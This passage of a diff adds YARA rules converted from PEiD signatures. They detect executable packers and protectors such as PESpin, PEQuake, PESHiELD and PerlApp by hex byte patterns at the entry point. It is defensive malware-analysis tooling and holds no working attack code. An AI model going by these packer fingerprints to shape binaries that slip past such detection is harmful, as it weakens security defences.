+        $a = {E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64}
+    condition:
+        $a
+}
+
+rule PEiD_01627_PEQuake_0_06___forgat_
+{
+    meta:
+        description = "[PEQuake 0.06-> forgat]"
+        ep_only = "false"
+    strings:
+        $a = {E8 A5 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? ?? 00 5B ?? ?? 00 6E ?? ?? 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01628_PEQuake_V0_06____forgat_
+{
+    meta:
+        description = "[PEQuake V0.06 -> forgat]"
+        ep_only = "true"
+    strings:
+        $a = {E8 A5 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01629_PEQuake_v0_06____forgot_us__h__
+{
+    meta:
+        description = "[PEQuake v0.06 -> forgot/us (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 A5 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D ?? ?? ?? 2D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 81 00 00 00 56 50 FF 55 2D 89 85 8E 00 00 00 6A 04 68 00 10 00 00 68 ?? ?? 00 00 6A 00 FF 95 8E 00 00 00 50 8B 9D 7D 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01630_PEQuake_v0_06_by_fORGAT_
+{
+    meta:
+        description = "[PEQuake v0.06 by fORGAT]"
+        ep_only = "false"
+    strings:
+        $a = {E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 81 00 00 00 56 50 FF 55 2D 89 85 8E 00 00 00 6A 04 68 00 10 00 00 68 ?? ?? 00 00 6A 00 FF 95 8E 00 00 00 50 8B 9D 7D 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB}
+    condition:
+        $a
+}
+
+rule PEiD_01631_PerlApp_6_0_2____ActiveState_
+{
+    meta:
+        description = "[PerlApp 6.0.2 -> ActiveState]"
+        ep_only = "false"
+    strings:
+        $a = {68 2C EA 40 00 FF D3 83 C4 0C 85 C0 0F 85 CD 00 00 00 6A 09 57 68 20 EA 40 00 FF D3 83 C4 0C 85 C0 75 12 8D 47 09 50 FF 15 1C D1 40 00 59 A3 B8 07 41 00 EB 55 6A 08 57 68 14 EA 40 00 FF D3 83 C4 0C 85 C0 75 11 8D 47 08 50 FF 15 1C D1 40 00 59 89 44 24 10 EB 33 6A 09 57 68 08 EA 40 00 FF D3 83 C4 0C 85 C0 74 22 6A 08 57 68 FC E9 40 00 FF D3 83 C4 0C 85 C0 74 11 6A 0B 57 68 F0 E9 40 00 FF D3 83 C4 0C 85 C0 75 55}
+    condition:
+        $a
+}
+rule PEiD_01632_PerlApp_6_0_2____ActiveState_
+{
+    meta:
+        description = "[PerlApp 6.0.2 -> ActiveState]"
+        ep_only = "false"
+    strings:
+        $a = {68 9C E1 40 00 FF 15 A4 D0 40 00 85 C0 59 74 0F 50 FF 15 1C D1 40 00 85 C0 59 89 45 FC 75 62 6A 00 8D 45 F8 FF 75 0C F6 45 14 01 50 8D 45 14 50 E8 9B 01 00 00 83 C4 10 85 C0 0F 84 E9 00 00 00 8B 45 F8 83 C0 14 50 FF D6 85 C0 59 89 45 FC 75 0E FF 75 14 FF 15 78 D0 40 00 E9 C9 00 00 00 68 8C E1 40 00 FF 75 14 50}
+    condition:
+        $a
+}
+
+rule PEiD_01633_PESHiELD_v0_2___v0_2b___v0_2b2_
+{
+    meta:
+        description = "[PESHiELD v0.2 / v0.2b / v0.2b2]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+    condition:
+        $a
+}
+
+rule PEiD_01634_PESHiELD_v0_251_
+{
+    meta:
+        description = "[PESHiELD v0.251]"
+        ep_only = "true"
+    strings:
+        $a = {5D 83 ED 06 EB 02 EA 04 8D}
+    condition:
+        $a
+}
+
+rule PEiD_01635_PESHiELD_v0_25_
+{
+    meta:
+        description = "[PESHiELD v0.25]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2B 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01636_PEShit_
+{
+    meta:
+        description = "[PEShit]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 F9 00 7E 06 80 30 ?? 40 E2 F5 E9 ?? ?? ?? FF}
+    condition:
+        $a
+}
+
+rule PEiD_01637_PESpin_0_1____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 0.1 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01638_PESpin_0_3____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 0.3 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01639_PESpin_0_7____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 0.7 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01640_PESpin_1_0____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 1.0 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 C8 DC 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01641_PESpin_1_1____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 1.1 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01642_PESPin_1_3____Cyberbob__h__
+{
+    meta:
+        description = "[PESPin 1.3 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01643_PESpin_1_304____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 1.304 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08}
+    condition:
+        $a
+}
+
+rule PEiD_01644_PESpin_1_3beta____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 1.3beta -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01645_PESpin_1_3x____Cyberbob_
+{
+    meta:
+        description = "[PESpin 1.3x -> Cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08}
+    condition:
+        $a
+}
+
+rule PEiD_01646_PESpin_v0_1____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v0.1 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 B3 28 40 00 8B 42 3C 03 C2 89 85 BD 28 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D D1 28 40 00 53 8F 85 C4 27 40 00 BB ?? 00 00 00 B9 A5 08 00 00 8D BD 75 29 40 00 4F 30 1C 39 FE CB E2 F9 68 2D 01 00 00 59 8D BD AA 30 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 07 4F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D C4 28 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00 59 81 C1 1D 00 00 00 52 51 C1 E9 05 23 D1 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01647_PESpin_v0_3__Eng_____cyberbob_
+{
+    meta:
+        description = "[PESpin v0.3 (Eng) -> cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46}
+    condition:
+        $a
+}
+rule PEiD_01648_PESpin_v0_3__Eng_____cyberbob_
+{
+    meta:
+        description = "[PESpin v0.3 (Eng) -> cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01649_PESpin_v0_3____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v0.3 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01650_PESpin_v0_7____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v0.7 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 88 39 40 00 8B 42 3C 03 C2 89 85 92 39 40 00 EB 01 DB 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D A6 39 40 00 53 8F 85 4A 38 40 00 BB ?? 00 00 00 B9 EC 0A 00 00 8D BD 36 3A 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 56 44 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 B3 5F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D 99 39 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01651_PESpin_v0_7____Cyberbob_
+{
+    meta:
+        description = "[PESpin v0.7 -> Cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 88 39 40 00 8B 42 3C 03 C2 89 85 92 39 40 00 EB 01 DB 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D A6 39 40 00 53 8F 85 4A 38 40 00 BB ?? 00 00 00 B9 EC 0A 00 00 8D BD 36 3A 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 56 44 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 B3 5F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D 99 39 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00}
+    condition:
+        $a
+}
+
+rule PEiD_01652_PESpin_V0_71____cyberbob_
+{
+    meta:
+        description = "[PESpin V0.71 -> cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E}
+    condition:
+        $a
+}
+
+rule PEiD_01653_PESpin_v1_0____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v1.0 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 C8 DC 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 D2 42 40 00 8B 42 3C 03 C2 89 85 DC 42 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D F0 42 40 00 53 8F 85 94 41 40 00 BB ?? 00 00 00 B9 8C 0B 00 00 8D BD 80 43 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 40 4E 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 FD 68 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00}
+    condition:
+        $a
+}
+
+rule PEiD_01654_PESpin_v1_1____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v1.1 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 C3 4B 40 00 8B 42 3C 03 C2 89 85 CD 4B 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D E1 4B 40 00 53 8F 85 D7 49 40 00 BB ?? 00 00 00 B9 FE 11 00 00 8D BD 71 4C 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 83 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 BD 2D 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC FF EA EB 01 C8 E8 01 00 00 00 68 58 FE 48 1F 0F 84 94 02 00 00 75 01 9A 81 70 03 E8 98 68 EA 83 C0 21 80 40 FB EB A2 40 02 00 E0 91 32 68 CB 00 00 00 59 8D BD A3 5D 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3}
+    condition:
+        $a
+}
+
+rule PEiD_01655_PESpin_V1_1____cyberbob_
+{
+    meta:
+        description = "[PESpin V1.1 -> cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E}
+    condition:
+        $a
+}
+
+rule PEiD_01656_PESpin_v1_1_by_cyberbob_
+{
+    meta:
+        description = "[PESpin v1.1 by cyberbob]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 C3 4B 40 00 8B 42 3C 03 C2 89 85 CD 4B 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D E1 4B 40 00 53 8F 85 D7 49 40 00 BB ?? 00 00 00 B9 FE 11 00 00 8D BD 71 4C 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C}
+    condition:
+        $a
+}
+
+rule PEiD_01657_PESPin_v1_3____Cyberbob__h__
+{
+    meta:
+        description = "[PESPin v1.3 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 0D 4F 40 00 8B 42 3C 03 C2 89 85 17 4F 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D 2B 4F 40 00 53 8F 85 21 4D 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD D0 4F 40 00 8D 5B 04 8B 1B 89 9D D5 4F 40 00 E8 00 00 00 00 58 01 68 05 68 F7 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC}
+    condition:
+        $a
+}
+
+rule PEiD_01658_PESpin_v1_304____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v1.304 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 CD 4E 40 00 8B 42 3C 03 C2 89 85 D7 4E 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D EB 4E 40 00 53 8F 85 E1 